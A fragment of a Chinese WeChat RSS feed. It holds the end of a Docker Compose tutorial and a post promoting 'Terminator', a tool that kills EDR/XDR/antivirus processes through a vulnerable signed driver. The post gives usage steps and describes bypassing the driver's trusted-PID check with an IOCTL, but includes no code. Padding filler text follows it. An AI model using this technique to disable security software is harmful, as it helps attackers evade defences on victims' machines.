2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose up</p>命令启动这两个服务是多么容易。该标志<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">-d</p>告诉 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker</p> 在后台上下文中运行服务（分离模式）。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.712037037037037" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=991a8e31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuIruXtyv712711JWZzH5ia57s3jSewRcxAETuxdNCnIkjpicuLBSHHWiag%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在检查网络时，会看到它已自动创建网络<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root_default</p>。这里的<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>是目录名，在<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose</p>中被认为是项目名。可以通过参数<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">-p myproject</p>或环境变量<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">COMPOSE_PROJECT_NAME=myproject</p>更改项目名称。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.2084942084942085" data-type="png" data-w="1036" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1c31adff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuicEz7PQrn2lPlfJiaFEdexK8z72ABibEPPugvA2OhMwS1jWGeIibDRDOibA%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">docker 容器按照动部署时所做的特定顺序运行。当通过<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);"> docker-compose</p> 对特定服务进行缩放时，镜像名称中的数字会派上用场。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.06944444444444445" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e6ea8caf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuGeAs5Vc7lFr2gFZ40hGuzrIw5smJFqzz3yqb1HoORdNdIQxFpfpG7Q%2F640%3Fwx_fmt%3Dpng"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">由于已经在本地主机上转发了端口，因此使用本地主机接口对<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">appserver</p>服务执行 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">curl </p>请求。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.4335378323108384" data-type="png" data-w="978" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=039a0a5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuZZ1pWicxVFtxWGtpIND4fLMrJcdXez9D5CRlhpWn61gu3UmkwqicicRwA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);"><span>停止服务并销毁所有资源</span></h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在这种情况下，停止并销毁资源非常方便。要在不销毁资源的情况下停止服务，只需使用<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose stop</p>,如果想销毁所有资源（容器和网络接口）,<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker-compose down</p>。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.55" data-type="png" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=8100e0d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7iculhDLMgNzk4m9uDIC3RMVHlIB0wBIxNRVvYzYT8icPQX0pRKwGjJfwaw%2F640%3Fwx_fmt%3Dpng"/></figure><blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;padding: 10px 10px 10px 20px;margin: 10px 5px;border-left-color: rgb(150, 84, 181);border-right: 1px solid rgb(150, 84, 181);color: rgb(97, 97, 97);quotes: none;background: rgb(251, 249, 253);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">注意： <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">docker destroy</p> 命令会先停止容器并释放所有占用的资源。</div></blockquote><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请点一下右下角的“在看”，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙点赞， 谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙转发，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>暗号: 177194</span></h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0719caed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuuLDNMRwKz9F2QicmPWWPrkia9NBUZszDIM6Xz7btEx1o33Ayibp08kic2Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1b4b0f2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuZ3unpZ5a07ye333dVRSvUFMPKt7EXeLib6bw9PF0qL1TDk72QT9vZww%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5c6dcac0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuTgHo6RJa6CJmQfYicibG3cLtuOhCpyR7JS7AIRn960VWzyvmOLmW2q2A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=12da38dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuxib4bbpw1nRReW38ejqzHjsGlBcIltu5Nicg7pibyKicn46IZPePl4mMKQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1a7c6717&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuh0CVN9Sw9siaSqUtenic4ibyk4iah19Qp5gbIfgMlqrS366aejOkbhvlCg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=78f7ae88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icu9xyOk3srJTTQia63nw86DLhOftyCGZWYOBFlWWm1lOu1g7xJ2phPiaNA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4a473cc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icublh2vR6dZJvUa43YSAmibFxEtNsGEhflm9GuSj83Qf2yFdwJ8lK6SfQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c7585ae1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuYFrXbJl7fsCINMpD4xRiaI18DYL6GWd6pazkjZMIfgd5ic5icvibba9vnw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=577fd6a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icu8RdDeNsWgDyIEpqHGUOfgxVgnwBnpppj5mSmbHxGbE7KoEHpAFgFLQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6381c215&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icummFjIkMfgRJyOic0qZQbQ0ia4lBahNrJZy33pB86DZQ2XdI8N5uiaaNyw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=74e014dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuIfOWOtibXZu66opnhOONhvOkU1LNWM0HU7ZEuHFFkicKN43HoLBOHwNg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=991a8e31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuIruXtyv712711JWZzH5ia57s3jSewRcxAETuxdNCnIkjpicuLBSHHWiag%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1c31adff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuicEz7PQrn2lPlfJiaFEdexK8z72ABibEPPugvA2OhMwS1jWGeIibDRDOibA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e6ea8caf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuGeAs5Vc7lFr2gFZ40hGuzrIw5smJFqzz3yqb1HoORdNdIQxFpfpG7Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=039a0a5c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7icuZZ1pWicxVFtxWGtpIND4fLMrJcdXez9D5CRlhpWn61gu3UmkwqicicRwA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8100e0d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzaib9GO9uW4lJGX1tD6a7iculhDLMgNzk4m9uDIC3RMVHlIB0wBIxNRVvYzYT8icPQX0pRKwGjJfwaw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247489541">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b39ac65c&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489541%26idx%3D1%26sn%3Dcd6445eb437fa889a2c9c87e78627401">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 08 Jun 2023 07:32:00 +0800</pubDate>
    </item>
    <item>
      <title>慎用！！一个干掉所有EDR/XDR的工具：终结者</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489540&amp;idx=1&amp;sn=6a226fdf7d0f5bc0c1d4dc0ea8756cd9</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-06-07 08:10</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a4e43c08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbzq0kHicc4WuaV5MjibK5EhKk2YkezQdEiafsN9K91gqo06rMa0ibYTibFbvgUibTsQxVKAyOlTxjfc2nZQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div><p dir="ltr">本文只是演示作用，并无其它意图。</p></div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>简介</span></h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">重现 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Spyboy</p> 技术，涉及通过使用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">zam64.sys</p> 驱动程序终止所有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);"> EDR/XDR/AVs</p> 进程</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">Spyboy以3,000美元的价格出售最终结者软件</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">样本来自loldrivers, <a href="https://www.loldrivers.io/drivers/49920621-75d5-40fc-98b0-44f8fa486dcc/" target="_blank">https://www.loldrivers.io/drivers/49920621-75d5-40fc-98b0-44f8fa486dcc/</a></p></div></li></ul><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>使用方法</span></h2><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">下载发布版本。 请通过打赏获取代码地址</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">将驱动程序<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Terminator.sys</p>放于与可执行文件同一目录</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">以管理人员身份运行程序</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">让程序一直运行, 防止服务重新启动反恶意软件</p></div></li></ol><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5441354292623942" data-type="png" data-w="827" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b2a77e2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzq0kHicc4WuaV5MjibK5EhKkWKP3c9SPlUhUD2ObzZ3JGbYEVeMe1NUvSjk9hHYD8WXJaxjCgMbz1Q%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>技术细节</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">驱动程序包含一些保护机制，只允许受信任的进程 ID 发送 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IOCTL</p>，如果不将您的进程 ID 添加到受信任列表，您每次都会收到“Access Denied”消息。然而，这可以很容易地通过发送一个带有我们的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PID</p> 的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IOCTL</p> 被添加到受信任列表中来绕过，这将允许我们控制许多关键的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IOCTL</p></div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6572008113590264" data-type="png" data-w="986" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d57b19e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzq0kHicc4WuaV5MjibK5EhKkV2oUTZVKOduHWIW14Tj9ZeoDb4IfU1sRiaibZj7KB2ib1Z6HpibsWyIyMQ%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请点一下右下角的“在看”，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙点赞， 谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>请帮忙转发，谢谢！！</span></h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);"><span>暗号: 884298</span></h1></div><p>三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字</span></span></span></span></span></span></span></span></span></span><span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字</span><span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字<span style="background-color: transparent;caret-color: var(--weui-BRAND);letter-spacing: 0.034em;">三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字三百字</span></span></span></span></span></span></span></span></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b2a77e2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzq0kHicc4WuaV5MjibK5EhKkWKP3c9SPlUhUD2ObzZ3JGbYEVeMe1NUvSjk9hHYD8WXJaxjCgMbz1Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d57b19e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQXsgGBUcicbzq0kHicc4WuaV5MjibK5EhKkV2oUTZVKOduHWIW14Tj9ZeoDb4IfU1sRiaibZj7KB2ib1Z6HpibsWyIyMQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247489540">阅读原文</a></p>
